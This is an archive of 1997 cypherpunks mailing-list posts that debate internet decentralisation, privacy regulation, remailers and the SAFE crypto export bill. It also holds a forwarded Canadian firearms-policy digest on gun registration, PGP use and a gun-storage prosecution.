From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 26 Sep 1997 06:33:24 +0800
To: "K. N. Cukier" <cypherpunks@cyberpass.net
Subject: Re: Why the White amendment is a good idea (fwd)
In-Reply-To: <199709251628_MC2-21D3-9A59@compuserve.com>
Message-ID: <v03110708b05084f8c876@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:24 pm -0400 on 9/25/97, K. N. Cukier wrote:

>The Domain Name System is completely hierarchical.

Wrong example. And not for long. Wanna bet a buck that that it isn't in,
say, 3 years?

> Moreover, Jon Postel of IANA represents the Net's central authority due to:

Postel isn't exactly a good example of this, either. He's made himself in
charge of controlling the uncontrollable, after all. This kind of "great
man theory of the internet" is quaintly romantic, yes? It's certainly just
as industrial as romanticism was...

> 1. the IP number allocations,

Bogosity alert. IPV6. Even the latest tweaks to IPV4, fer chrissakes...

False "scarcity". And so your next straw man is? Ah. Here it is.

> 2. the DNS "root", and

Which, technically, doesn't have to be "owned" by anyone to stay
maintained. All you need is an agreement by the TLD holders, which you'll
get, or they go out of business. Look, Ma, no central control. Feh. *How*
many permutations and combinations of 3 alphanumeric characters are there?
Um, do we *need* three-letter TLDs? I thought not...

Actually, I predict that the whole NSI sham will be a bad dream within,
say, two Moore's cycles, or 14 internet years, or 3 meatyears, which is, of
course, how I predicated my bet...

>3. the technical
> standards, such as port numbers, etc.

Technical standards and market reality are not mutually exclusive. :-).
There are lots of technically hierarchical things which are controlled by a
geodesic market. The NYSE, or, better, NASDAQ, or, even better, the entire
currency market, are great examples. Notice that each one of those is more
geodesic -- and much bigger -- than the next one.

What? The Internet? Oh. That's right. I forget the IETF... ;-).

Sheesh...

So far, the stuff you've thrown out here to "refute" what I said are the
exceptions which prove the rule.

Face it. It's cheaper to be "out of control" than "in control". That's what
computers are for. Right?

I mean, the more computers you have, the more standards matter, and the
more standards you use, the less "control" you need. The less "control" you
need, the less centralization matters, which, if you'll recall briefly, was
my point.

> Unless there was a certain degree of
> centralized control, in an engineering perspective, the Net "Would Not
> Work."

Excuse me while I recover my composure. And clean up a bit. I laughed so
hard at that one, I blew rootbeer out my nose, all over my poor antiquated
PB180... Okay. It's clean now. And, so...

Look. By your above logic, Microsoft Network would have been a huge hit.
They would have bought AOL *and* Compuserve. Heck. We'd still be using
mainframes, or something. Centralized control went out with economies of
scale.

> That's the fact, Jack -- n'est-ce pas? Yes, it is *possible* to do
> away with these centralized functions, and this is happening now, in a very
> non-public way.

Oh? Like there's a secret cabal out there "managing" the massive
decentralization of everything from  steel to financial services to fast
food to government itself? Right.

Hate to break your bubble, Bunky, but all of this is the result of natural
forces. The market. (Yes, Virginia, the market.) If there wasn't a market
for, say, telephony in the 1920's, there wouldn't have been a market for
automated switching, which got us semiconductors, which got us your
precious IANA when the market for semiconductors created the internet.

And, boys and girls, the *only* reason we still have central control of the
internet is that internet was originally a socialist, hierarchically
organized entity created by another hierarchical entity called a nation
state.

Just like the the nation state itself, IANA, and all other central
"control" is surfacting away. Well, more like choking in it's own
excrement, but soap is a prettier metaphor than the latter...

Cheers,
Bob Hettinga







-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: russ@russ-smith.com (russ smith)
Date: Fri, 26 Sep 1997 07:12:45 +0800
To: "'Julie DeFalco'" <fight-censorship@vorlon.mit.edu>
Subject: RE: "Matchcode" technology sparks privacy flames.....
Message-ID: <01BCC9E0.E2258BE0.russ@russ-smith.com>
MIME-Version: 1.0
Content-Type: text/plain



>Few things are more contradictory than calling in the government -- the
biggest known violator of privacy -- to "protect" privacy on the Internet. 
...

This is the kind of generalized hand-waving statement I am talking about. 
 If you are talking about the FBI or the IRS I would agree but I don't 
think the FTC is collecting personal information in order to violate 
privacy (although I think they give industry an unfair advantage when it 
comes to developing privacy rules).  I also don't think agencies like the 
National Endowment for Arts or the Park Service is doing this either.  I 
also think the government is #2 behind companies such as Experian and 
Metromail due the profit incentive.

As for going to agencies such as the FTC for assistance, I am looking for 
them to develop rules so I can protect my own privacy.  I do not expect 
them, nor do I think they are capable of, protecting my privacy (they 
cannot even develop their own privacy policy for their web site correctly). 
 I want to able to find out who has information about me and be able to (in 
some circumstances) stop the distribution of the information if I so desire 
and make it unprofitable for companies to violate such regulations.

Another example is the junk e-mail.  CEI says the FTC should be concerned 
with property rights and the 'rules of law' but then go on to indicate the 
FTC should not get involved in junk e-mail regulations.  I view the 
hundreds of spams I received as a violation of my property rights and I 
simply want to recover my expenses.

I went to a telecommunications deregulation seminar at CATO about 2 weeks 
ago and I found some the people there to use the same hand-waving 
arguments.  I was discussing the situation with uu.net and the 'Internet 
death penalty' situation when other administrators got together and stopped 
routing their packets for newsgroups.  Who knows how this could be used in 
the future.  My suggestion was to have some type of rule concerning the 
packet flow when it is necessary to depend on another provider to route 
your packets.  The answer I received:  Internet users need to get redundant 
paths through the Internet.  That sounds real good during a debate while 
sitting in CATO being served lunch, but such a plan would clearly put many 
small operators at the mercy of large ISP's or would simply put them out of 
business.

A presenter on the CATO board also kept discussing how good the WinTel 
situation has been to consumers.  She did have a somewhat valid point 
since, even with all the problems, computers are relatively cheap and an 
entire operating system costs less than $100.  However, what would it be 
like if the DOJ didn't keep talking about breaking up the monopoly?

Russ Smith
http://consumer.net











From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joey Grasty <jgrasty@gate.net>
Date: Fri, 26 Sep 1997 07:00:34 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Remailer latency
In-Reply-To: <199709252158.XAA21054@basement.replay.com>
Message-ID: <3.0.3.32.19970925184245.006ef294@pop.gate.net>
MIME-Version: 1.0
Content-Type: text/plain



At 11:58 PM 9/25/97 +0200, Anonymous wrote:
>If you operate a remailer, please tell us what you need to make it
>really work well.  Perhaps the rest of us can help make it happen.

Sure.  Send me $125 a month for a dedicated line, and I'll insure
that you get low latencies on winsock.

Regards,

--
Joey Grasty
jgrasty@gate.net
WinSock Remailer Operator (winsock@rigel.cyberpass.net)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 26 Sep 1997 07:05:57 +0800
To: Tim May <tcmay@got.net>
Subject: Why no version of SAFE removes export ctrls, and all are dangerous
In-Reply-To: <19970925193213.21630.qmail@hotmail.com>
Message-ID: <v03007809b05099a2e7c7@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain



Tim writes below that SAFE doesn't get rid of export controls. That's true,
even before it's compromised to death. I've attached below my column on
SAFE I wrote in June...

This is just one reason why no new laws are better than bad new laws.

-Declan

***************

At 14:17 -0700 9/25/97, Tim May wrote:
>At 12:32 PM -0700 9/25/97, J. Random Hotmail User wrote:
>
>>Without the export restrictions we would see much more crypto sold
>>and used inside the US.  I'll bet there are lots of cypherpunks who
>>are holding off releasing crypto tools because of these laws.  Look
>>at the guy who said he had to go to Canada to release his crypto.
>>And he had to stop thinking about it when he was in the US.  This
>>is crazy.
>
>Yes, it's crazy, but SAFE doesn't fix this in any meaningful way.
>
>We can ask Ian Goldberg, the guy you refer to, if the enactment of SAFE
>would cause him to develop software in the U.S. Remember, SAFE does not
>give carte blanche to crypto exports. Rather, it speaks of whether or not
>similar products already can be found elsewhere (thus indicating export
>review will happen, with all that that implies) and it further gives
>authority to deny exports if "substantial evidence" exists that the product
>is or could be used by the Bad Guys for Evil Puposes. (Cf. the full text of
>H.R. 695 at http://www.cdt.org/crypto/legis_105/SAFE/hr695_text.html, and
>remember that amendments are being added to it.)
>
>This latter authority to block exports suggests NSA/State vetting of all
>exports. Meaning, things really haven't changed.
>
>All it would take is a letter stating that there is "substantial evidence"
>that Ian's product may be "diverted" for use by those the U.S. doesn't
>like.
>
>Well, duh, we're where we are today on exports.
>
>So, will Ian, or C2Net, or others, launch software development here and
>just sort of hope that when the time comes to apply for an export license
>that the conditions above are met? First, that the BXA/NSA/etc. rules that
>similar products are already available. Second, that the product will not
>be used by Hamas, a group the U.S. calls a terrorist group, or the Cali
>Cartel, or the Irish Republican Army, or the armies of Iraq? Think about
>it, given that Hamas is already using PGP 5.0 to fight the Zionist
>occupiers in Palestine.
>
>Would PGP 5.0 receive an export license? Even under SAFE?
>
>Would a product designed to implement Chaumian untraceable cash, a la some
>of the work on Lucre and the like, receive export approval? Even under SAFE?


http://cgi.pathfinder.com/netly/opinion/0,1042,1022,00.html

The Netly News Network
June 5, 1997

Mr. Gates Goes to Washington
by Declan McCullagh (declan@well.com)


                    For Siliconaires like Bill Gates of Microsoft, Eric
                    Schmidt of Novell and Jeff Papows of Lotus, Washington
                    is a city made pleasant by absence. They view its
                    labyrinthine bureaucracies and hidebound institutions as
                    something between a minor hindrance and an
                    insurmountable obstacle to the important business of
                    making profits, not public policy. So it was no surprise to
                    see the high-tech trio join seven other executives
yesterday
                    at the National Press Club to rail against the Clinton
                    administration's restrictions on overseas sales of
                    encryption products.

                         This Billionaire Boys' Club was especially keen on
                    praising two bills that would generally relax export rules.
                    "We clearly support the House and the Senate bills that are
                    on the Hill in their original form. Getting reform done now
                    is a huge priority for all of us," said one. "There are
bills
                    in the House and the Senate that are totally
acceptable, and
                    if those bills are passed they'd solve the problem,"
another
                    added.

                         But perhaps Bill Gates should have spent less time
                    writing BASIC interpreters and more time in civics
                    classes, because these bills are far from perfect. In fact,
                    they may be downright dangerous.

                         "Please, do no harm here. Let's keep what we won,"
                    says Cindy Cohn, one of the lawyers mounting an
                    EFF-sponsored court challenge to the White House's
                    export rules. So far that effort has been successful: A
                    federal judge ruled last December that the line-by-line
                    instructions in a computer program are "speech" and
                    restrictions on overseas shipments violate the First
                    Amendment.

                         Cohn argues that both Rep. Bob Goodlatte's (R-Va.)
                    SAFE bill and Sen. Conrad Burns' (R-Mont.) ProCODE
                    bill could do more harm than good. She says they might
                    not even help her client, a university professor who wants
                    to discuss encryption without going to jail. "What effect
                    would SAFE or ProCODE have? Either none or a
                    detrimental one," Cohn said on Monday at a conference
                    organized by the Electronic Privacy Information Center.
                    (A Burns spokesperson responded by saying any
                    problems could be addressed after the bill leaves the
                    Commerce Committee and moves to the Senate floor.)

                         This might seem like a lot of high-powered debate
                    over an obscure subject, but the argument boils down to a
                    conflict between pragmatism and principle. Will Congress
                    decide to help out Bill Gates at our expense? Sure,
                    removing export controls completely would benefit
                    everyone, but SAFE doesn't go that far: Only software
                    "that is generally available" overseas may be exported.
                    Which means if I invent a new data-scrambling method
                    that nobody overseas has developed, I'm screwed. SAFE
                    also creates a new federal felony if you use crypto in a
                    crime. Cypherpunks have criticized the measure, saying
                    that when crypto starts to appear in products from light
                    switches to doorknobs, Congress might as well put you in
                    jail if you breathe while committing a crime. Then there's
                    ProCODE, which sets up a new federal
                    crypto-bureaucracy -- hardly a reassuring thought.

[...]

                      some veteran Washington lawyers
                    warn that the proposals in Congress will not nullify the
                    export rules. "Because the language of the SAFE act
                    doesn't track the language of the executive order and the
                    [Commerce Department regulations], which of course they
                    couldn't anticipate, there's substantial wiggle room
left for
                    the government to maintain some controls. The bills may
                    not have the desired effect in the long run," says Roszel
                    Thomsen, a partner at the Thomsen and Burke law firm.

                         "There's room for someone to completely rewrite a
                    bill that starts from the provision that all source code is
                    speech -- then squarely roll back the most onerous
                    provisions from the administration's executive order last
                    November and track the current laws to eliminate the
                    wiggle room," Thomsen says. "But I don't think there's
                    the willpower to do that."

                         If that willpower doesn't exist, then perhaps
                    Congress shouldn't pass either SAFE or ProCODE. No
                    legislation is better than bad law, especially when court
                    challenges are moving forward -- and don't bring with
                    them nasty side effects. We shouldn't have to give up
                    some freedoms to gain others. If Congress doesn't have
                    the courage to do the right thing, it's better they do
nothing
                    -- even if Bill Gates prefers otherwise.

[...]


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jean-Francois Avon <jf_avon@citenet.net>
Date: Fri, 26 Sep 1997 07:48:16 +0800
To: cypherpunks@Algebra.COM
Subject: Cdn-Firearms Digest V2 #13 (fwd)
Message-ID: <Pine.SUN.3.91.970925191126.12506A-100000@cti02.citenet.net>
MIME-Version: 1.0
Content-Type: text/plain




Here is a forward of the CFD where PGP was mentionned.  I posted several 
off-topic messages to the CFD, to introduce theses peoples to encryption, 
digital signatures, e$, etc.  For thoses who are curious about firearms 
related politics in Kanada, this it *the* forum for it.  Take note that 
the Allan Rock discussed in the various posts is the former Canada Justice 
Minister, now Canada Health Minister, who fanatically drafted and 
frantically pushed bill C-68, the gun registration bill.  Just so you 
know, now, in Kanada, simple possession of *any* firearms or some other 
weapons *is* a crime passible of 14 year of imprisonement, *unless* you get 
a permit that, in effect, waive that crime.  Of course, 
they say that they make it 
simple and reasonable to get it, but what the authorities want is to 
disamr the population.  Recently, they did not even shy out at saying it 
explicitely.  Among their plans, the outright confiscation without 
compensation of a great number of now Verboten types of firearms.

And you thought that the Kool Komrades were very far from you...


JFA
PGP key at w3.citenet.net/users/jf_avon or at the MIT key server.


---------- Forwarded message ----------
Date: Thu, 25 Sep 1997 14:03:08 -0600
From: Cdn-Firearms Digest <owner-cdn-firearms-digest@sfn.saskatoon.sk.ca>
To: cdn-firearms-digest@broadway.sfn.saskatoon.sk.ca
Subject: Cdn-Firearms Digest V2 #13


Cdn-Firearms Digest    Thursday, September 25 1997    Volume 02 : Number 013



In this issue:
	re: mor(e )on Bill C-68
	Unique registration
	Re: Claire Hoy on "Free Speech" -- The Hill Times
	Re: Carry Permits
	Police Function in Canada (mtoma)
	Pretty Good Privacy (PGP) www.pgp.com
	Foundations of Canadian Life
	re: The Police Function in Canada
	antique guns
	With friends like these ...
	Re: More Moronic Ramblings
	research links
	Re: Bill C-68 is not yet in force...
	Home-invasion victim winds up facing gun-storage charges

----------------------------------------------------------------------

Date: Wed, 24 Sep 1997 14:12:39 -0600 (CST)
From: "Skeeter Abell-Smith" <ab133@sfn.saskatoon.sk.ca>
Subject: re: mor(e )on Bill C-68

>then what the government should do is to totally outlaw the private
>ownership of all handguns, semi-automatic, and automatic weapons. Such
>weapons should be reserved for the police and military alone.  Someone
>once said that rifles were designed for hunting and, thereby, putting
>food on the table, but handguns were designed for one purpose and one
>purpose only: to kill people. The same goes for automatic weapons and
>assault rifles. So get rid of them altogether (and to hell with the
>target shooters - let them use air pistols!).

"Automatic weapons" are machine guns, i.e. they are "fully automatic"
(can fire many rounds with one trigger squeeze).  "Assault rifles" are
machine guns (of a specific type).

There are 4500 Canadians who may own registered machine guns, and do.
There has never been a registered machine gun used in a crime or
suicide by its owner.  I've never found an incident of one being stolen
and used.

So why ban them?

There are one million registered pistols, used safely every year.  Less
than five are involved in a homicide each year, including justifiable
homicides.  More than 80% of the 600 annual homicides do not involve a
pistol, let alone a registered pistol.

So why ban them?

If I can be trained and trusted to own use a car/chainsaw/airplane/
whatever safely, I should be able to be trained and trusted to own and
use _any_ kind of firearm safely.  Period.

What's more dangerous:  Using a gun at a range or flying an aircraft 
over a city?

------------------------------

Date: Wed, 24 Sep 1997 14:16:32 -0600 (CST)
From: SBKracer <cronhelm@nucleus.com>
Subject: Unique registration

I own a Remington, WWII era, 1911A1 with a new serial number stamped
over the spot where the original would have been.  In fact some of the
original number can still be seen.  What are the chances this handgun
is uniquely registered?  The new serial number is a 5 digit number but
I have NO IDEA where the number came from, who supplied it or who
stamped it on.  I am at least the third owner (that I know of) of this
particular pistol since it entered Canada.

I also own an Allan rock special which with the slide removed has NO
markings at all save for a four digit number stamped on the backstrap.
Could this number possibly be a patent number?  I don't know how many
digits typically make up a patent number.  The pistol is an Arizzabalaga
Terrible (at least that is what it says on the registration certificate)
made circa 1920.  

Nice name for a gun huh?  The "Terrible!"  Specially considering it is
chambered for that manstopping 6.35 (.25ACP) cartridge.  


Peter Cronhelm		ZX-7 		Carbon Fibre Racing Machine
SBKracer		YSR/YZ80 	The Little Beast

	
"I'm not the man you say I am, not radical nor mentally deranged."
- -Sons of Freedom-

"Without the threat of death, what's the point in living at all!"
- -Marilyn Manson-

------------------------------

Date: Wed, 24 Sep 1997 14:17:29 -0600 (CST)
From: "John E. Stevens" <jstevens@serix.com>
Subject: Re: Claire Hoy on "Free Speech" -- The Hill Times

skeeter wrote:
>
>Claire Hoy has a good column on "Free Speech" in this week's The Hill
>Times.
>
>http://www.thehilltimes.ca/hilltimes/hoy.html


AND while you're there, take time to read:

	Plan to introduce bills in Senate sparks fury 
	in government and opposition benches.

It's sometimes kind of scarry how our democratic government subtly
attempts to circumvent democracy.


[sometimes?...  -- Skeeter]

------------------------------

Date: Wed, 24 Sep 1997 14:47:21 -0600 (CST)
From: Juha Askola <krista@rapidnet.net>
Subject: Re: Carry Permits

Yes, you can take your friends handgun provided you are in possession
of a valid carry permit and green slip belonging to the gun you're
carrying.

I don't know the law on this one but I would play it safe.  When I
purchased my .45, I just took the receiver part to the police but still
with a trigger lock.

Took a little arguing to make them understand that they don't need or
require slide or barrel to register a gun, it was fun.

    Chao,  Juha

------------------------------

Date: Wed, 24 Sep 1997 14:48:44 -0600 (CST)
From: someone@inter.net
Subject: Police Function in Canada (mtoma)

>[Moderator:  This may or may not be "official policy."  Without knowing the
>context or the original author it is difficult to evaluate.  HTB]

[snip]

>This particular document is by far the scariest federal gun control
>document I have ever seen.  In short it outlines stategies for gun
>confiscation and prohibition orders for gun owning citizens and the
>general disarmament of the populace.

[snip]

Even if this document is a complete fake, which we have no way of
finding out, it is very possible something similar is in the works.
Just look at UK and Australia!

------------------------------

Date: Wed, 24 Sep 1997 14:49:33 -0600 (CST)
From: someone@inter.net
Subject: Pretty Good Privacy (PGP) www.pgp.com

In previous issues of the CFD, the issues of using and the governments'
attempts to restrict the use of Pretty Good Privacy encryption software
(www.pgp.com) was discussed and compared to restricting the use of
firearms.

I noticed a lot of users of this list have their PGP fingerprint
attached to their message, which is great.  However, a lot of people
are reluctant to use PGP because it was difficult to use and install.
For those using Eudora (16-bit or 32-bit), PGP Inc. has a special offer
to have a full version of PGP 5.0 for Eudora plug-in, which supports
both RSA and DSS/DH algorithm, for US$5 (five dollars).  Personally, I
think it is money well spent, with governments creeping up on us, you
never know when you HAVE TO encrypt all your email.

Go to www.pgp.com for more details.

I'm in no way shape or form related to PGP Inc, Qualcomm, or anyone who
might benefit from the sale of PGP or Eudora.  I'm just an immigrant to
this great country and would love to preserve the freedom we enjoy.


[Also visit the PGP resources listed under "Freedom sites" at the
cdn-firearms home page.  http://cdn-firearms.ml.org/  -- Skeeter]

------------------------------

Date: Wed, 24 Sep 1997 14:51:02 -0600 (CST)
From: "Geoff Stokes" <geoff_stokes@bc.sympatico.ca>
Subject: Foundations of Canadian Life

Recently, a local reporter found himself in a precarious position.
He's been reporting on a ticket fixing case and he has a good source
close to the investigation.  My point is that his article seems to echo
the fears some members of the RFC have with regard to the latest gun
control scheme:

>From the article entitled:  Call Threatens Foundation of Canadian
Life.

"Two weeks ago I received a thinly veiled threat from someone who is
either a policeman or somehow connected with the police...Then it
became clear that it was the very idea that a pion like me would dare
meddle with the RCMP...Finally, he said, If you start messing around
with the big boys, you're going to get an education in life...the fact
that most people believe that the police, the ones who are supposed to
protect us, are capable of the kind of harassment and intimidation that
my anonymous caller alluded to...To date, I'm happy to report that
there have been no unexplained searches of my vehicle, no funny clicks
on my phone and nothing to suggest that I am anyone's particular
target...But I don't even like thinking that those things are a
possibility, not in this country."

hmmmm..., sounds an awful lot like what it may be like under Bill C-68
concerning increased police discretion; or how an uncooperative,
non-complier may be treated in future..., or am I really going
paranoid??

------------------------------

Date: Wed, 24 Sep 1997 15:21:37 -0600 (CST)
From: "Skeeter Abell-Smith" <ab133@sfn.saskatoon.sk.ca>
Subject: re: The Police Function in Canada

>From: SBKracer <cronhelm@nucleus.com>
>
>[The moderator wrote: This may or may not be "official policy."
>Without knowing the context or the original author it is difficult to
>evaluate.  HTB]
> 
>Sunday at a gunshow in Cow Town I got a copy of a news letter containing a
>Federal document on gun control dated 1977.  This document had been
>e-mailed by <mtoma@compusmart.ab.ca>.

The excerpt printed in digest number 10 (volume 2) was scary, but I think
the one below is worse.  
___________________________________________________________________

	As regards the Police Function in Canada, prior to passage of
	the foregoing it was the opinion of the administrations:

	1. That in face of mass civil disobedience the use of Force had
	limited capabilities....

	2. That in face of mass civil disobedience any display of
	available Force would not have credibility....

	....as far as an armed and organized Public was concerned and
	it was felt in the interests of the Function that it was
	desirous to ensure the Public be discretely but effectively
	disarmed over a period of the forthcoming 5 years.

	The foregoing is not entirely the opinion of the
	administrations of the Function, but is one which has been
	voiced generally even at the rank and file level...that being
	that the absence of firearms in the hands of the Public in
	general would increase the safety of a Patrolmans work.

	With the passage of the Firearms Section of the Criminal Code
	of Canada Amendments, having been predetermined that in regards
	to the Functions ability as a Control and Enforcement Agency
	there was:

	1. A lack of personnel suitably indoctrinated at specific
	assignment levels and sectors within the proposed Control
	Structure.

	2. A requirement for the adequate indoctrination and training
	time,

	3. A requirement for time to phase in the various levels and
	sectors of the proposed Control Structure independently of one
	and another in a manner which would not create alarm, nor allow
	premature rapport.

	4. A requirement for time to nullify the credibility of
	alarmists and dissenters.
___________________________________________________________________

This document was obtained from MP Peter Elzinga.  I had been faxed a copy
back in 1994, but the source was "unknown".  We may never know if
it was/is for real...

read it all in Cdn-Firearms Digest V1 #860

http://cdn-firearms.ml.org/cdn-firearms/Digests/v01n800-899/v01n860

------------------------------

Date: Thu, 25 Sep 1997 09:15:14 -0600 (CST)
From: dcmiller@mail.island.net (douglas c miller)
Subject: antique guns

I think the Dave's answer in regard to the antique guns in digest V2
#12 was a little weak.  My first objection is that an 1864 Enfield
MkII* is probably a Snider Enfield and as such would be .58 caliber and
I very much doubt that it would be found in .303.  I think that Dave is
mistaking it for a Martini Enfield. His second comment re Winchesters
would have been far more accurate if he had stated Winchester
repeaters/carbines came in the following models.  The model 1885 is a
single shot in high wall and low wall models and I don't believe would
ever have been referred to as a saddle ring carbine.

What is perhaps more instructive of the questions posed is the error or
risk of registering one's own guns as illustrated by  the owner who
works in or in conjunction with a museum appears to have made at least
one descriptive mistake.

Just my $.02 worth

D.C. Miller

------------------------------

Date: Thu, 25 Sep 1997 09:54:14 -0600 (CST)
From: jean hogue <jean_hogue@sympatico.ca>
Subject: With friends like these ...

>>I am an archaeologist by
>>profession and work for the **************** government.
>> ...
>>On the other hand, if there is really that
>>great a concern over public safety (as opposed to the amount of revenue
>>that can be generated by this punitive registration/licensing system),
>>then what the government should do is to totally outlaw the private
>>ownership of all handguns, semi-automatic, and automatic weapons. Such
>>weapons should be reserved for the police and military alone. 
>

I think Dave's reply to this was far too polite.

Yet another case where this quote by Pastor Martin Niemoller is so
appropriate:


	"In Germany they first came for the communists and I didn't
	speak up because I wasn't a communist. They came for the Jews
	and I didn't speak up because I wasn't a Jew. Then they came
	for the trade Unionists and I didn't speak up because I wasn't
	a trade Unionist. Then they came for the Catholics and I didn't
	speak up because I was a Protestant.  Then they came for me and
	by that time no one was left to speak up."


Just under what logic does this government archaeologist justify
banning the best-behaved guns in the country ? Several thousands (I
believe 5,000) automatic weapons were lawfully registered before 1979
by non-military, non-police law-abiding citizens. Not a single one has
ever been involved in a crime of violence.

As for automatic weapons being reserved strictly to the police and
military, two things:


        1- the only two cases of homicides committed with automatic
           weapons legally registered were:

                a) military: Corporal Lortie killed three in the
                             Quebec National Assembly (provincial
                             govm't) -- 1985 or 1986;

                b) police:   in Rock Forest, police fired a burst
                             from an Uzi, through the motel room door,
                             killing a labourer  police mistakenly
                             assumed to be the hold-up suspect they were
                             looking for -- early 1980's.

        2- the government archaeologist sounds just like Allan "Alibi Al"
           Rock:

		"I came to Ottawa with the firm belief that the only
		people in this country who should have guns are police
		officers and soldiers."

			Allan Rock, Canada's previous Minister of Justice
			Maclean's "Taking Aim on Guns", April 25, 1994, p 12


Pay attention to the man behind the curtain. A recent "study" by police
of guns recovered at crime scenes "concluded" that "legal" guns (they
meant unrestricted) were used in crime far more often than handguns and
evil semi-automatic "assault" rifles. The government archaeologist's
toys are deemed by police to be even more dangerous than the toys being
condemned by the archaeologist.


I have really lost patience for this mentality of throwing off "wolf
meat" from the dogsleigh to escape the wolves. The archaeologist is
simply advocating that the gun owner community sell off owners of
handguns and semi-automatics so that people like the archaeologist can
be left alone with their more politically-correct toys. All this based
on nothing more than an _iffy_ "concern".

Thanks for the back-stabbing and dream on!  As Max Headroom said: with
friends like these, who needs an oenema?

------------------------------

Date: Thu, 25 Sep 1997 09:55:47 -0600 (CST)
From: dons@Cadabratech.com (Don Shesnicky)
Subject: Re: More Moronic Ramblings

Here's an interesting story along this theme...

I caught this one on CBC radio two days ago while driving into work. It
was an excerpt from something that, I believe it was Martin Bell from
the BBC, said during a book presentation in Ottawa. He stated something
to the effect that the media could never be detached from the stories
they covered. As an example he put forth this story, which was said to
be true and which I will put into my own words:

  It seems that a reporter visiting Bosnia wanted to do a story
  on snipers. A Bosnian commander told him to go with one of his
  snipers. They crawled into place and after the sniper took a 
  look out onto a street told the reporter to take a peek and tell
  him what he saw. After looking the reporter said he could see two
  civilians standing in the street. The sniper asked him which one 
  should die. The reporter realizing that he suddenly didn't want
  to be there explained at length to the sniper that he didn't
  want either of them to die. As he turned to go he heard two shots. 
  He turned back to the sniper who said "Too bad, you could have 
  saved one of them".

Powerful story.

Don

------------------------------

Date: Thu, 25 Sep 1997 13:20:05 -0600 (CST)
From: "Skeeter Abell-Smith" <ab133@sfn.saskatoon.sk.ca>
Subject: research links

A couple of good links from the Cdn-Firearms Home Page (under
"research"):

http://www.nra.org/research/rihome.html
and 
http://www.nra.org/research/

------------------------------

Date: Thu, 25 Sep 1997 14:01:28 -0600 (CST)
From: griffith@comnet.ca
Subject: Re: Bill C-68 is not yet in force...

>> and an 1885
>>Winchester saddle-ring carbine w/octagonal barrel in very fine
>>condition. 

>Winchesters went through Models 1873, to 1876, to 1886, to 1892, to
>1894.  Which do you have, and in what calibre?  There is no Model
>1885.

I got stuck with one of them fake model 1885 too.  I guess I should of
been more suspicious when the guy who sold it to me kept referring to
it as a "High Wall".  Sure is pretty. but i ain't worked out yet how do
I load the magazine.


 Gerald Griffith

" The easiest thing in the world to
achieve is the effective disapproval of
any sort of uncritically vested authority. "
      < Alexander King >

------------------------------

Date: Thu, 25 Sep 1997 14:05:49 -0600 (CST)
From: "David A. Tomlinson" <nfadat@telusplanet.net>
Subject: Home-invasion victim winds up facing gun-storage charges

   Thursday, September 25, 1997
   
   Home-invasion victim winds up facing gun-storage charges
   
   By SKANA GEE -- The Daily News
   
   The victim of a home invasion in Middle Sackville last month now has
   his own date with a judge.
   
   Clarence Joseph Arsenault, 60, was charged yesterday with illegal
   storage of firearms, stemming from an investigation into the robbery
   at his house Aug. 27.
   
   "They were kept in a room that wasn't secured very well and they were
   not secured very well," said Lower Sackville RCMP Const. Lynn Tardif.
   
   "They were kind of just in disarray."
   
   She said Mounties seized about 60 handguns, rifles and shotguns,
   including those that were stolen during the home invasion, during
   which Arsenault's elderly mother and seven-year-old grandson were tied
   up with rope and duct tape.
   
   Return Oct. 1
    
   The two men charged in that incident return to Bedford provincial
   court Oct. 1 to make their election.
   
   The charge against Arsenault alleges he stored restricted firearms
   without failing to render them inoperable by a secure locking device
   and storing them in a locked container or room "that is constructed so
   that it cannot readily be broken open."
   
   "It's one charge dealing with all the different firearms," said
   Tardif. She said many people in the community knew the Lakeview Avenue
   man was a gun collector, a situation aggravated by the fact his
   weapons were "easy to get at."
   
   Just after the home invasion, Arsenault told The Daily News he had
   begun to clean the guns "for the next gun show." He also said he
   expected to be charged.
   
   Tardif said police sympathize with Arsenault's family for the ordeal
   they experienced, but they maintain the charge is warranted.
   
   "It put everybody in a bad situation as far as I'm concerned," she
   said. "We have a job to do. We have no choice, but we also want to
   raise awareness about this kind of thing."
   
   Tardif said she could only speculate on what might have occurred if
   the weapons had been stored differently. "I don't know if you can
   necessarily prevent the robbery, but it would have made it a lot
   harder for them," she said.
   
   Arsenault will be arraigned Nov. 19.
   
   Joshua Alexander Pelley, 23, and Kenneth Wayne Beazley, 20, are
   charged with committing robbery by stealing guns while using threats
   of violence; break, enter and theft; and wearing a mask while
   committing an indictable offence in connection with the home invasion.

The NFA has supplied Mr. Arsenault with transcripts of  court decisions
that indicate the charge against him [CC s. 86(3), storage "in
violation of a regulation"] cannot be used because it is a violation of
the Canadian Charter of Rights and Freedoms.

THE NFA STRONGLY CONDEMNS THE CANADIAN FIREARMS CENTRE FOR NOT MAKING
ENFORCEMENT OFFICIALS AWARE OF THE DEFECTS IN THESE "STORAGE" CHARGES.
THE CFC, BY ITS REFUSAL TO DISTRIBUTE INFORMATION ABOUT IMPROPER
CHARGES LIKE THIS, IS CONTRIBUTING TO ABUSIVE ENFORCEMENT.  PLEASE
WRITE TO THE MINISTER OF JUSTICE AND DEMAND JUSTICE!

IT WOULD BE PERFECTLY SIMPLE FOR THE CFC TO DEVOTE ONE ISSUE OF THEIR
"BULLETIN" TO THE PROBLEMS OF CC S. 86(2) AND (3), BUT THEY INSIST ON
DELIVERING USELESS INFORMATION AND REFUSE TO PUBLISH IN AREAS LIKE THIS
WHERE ABUSE IS RAMPANT.  THEY WILL NOT PUBLISH ANYTHING THAT REDUCES
THE ABUSE LEVELS.  AND THAT IS WRONG.

CC s. 86(3) imposes a sentence of up to two years imprisonment.

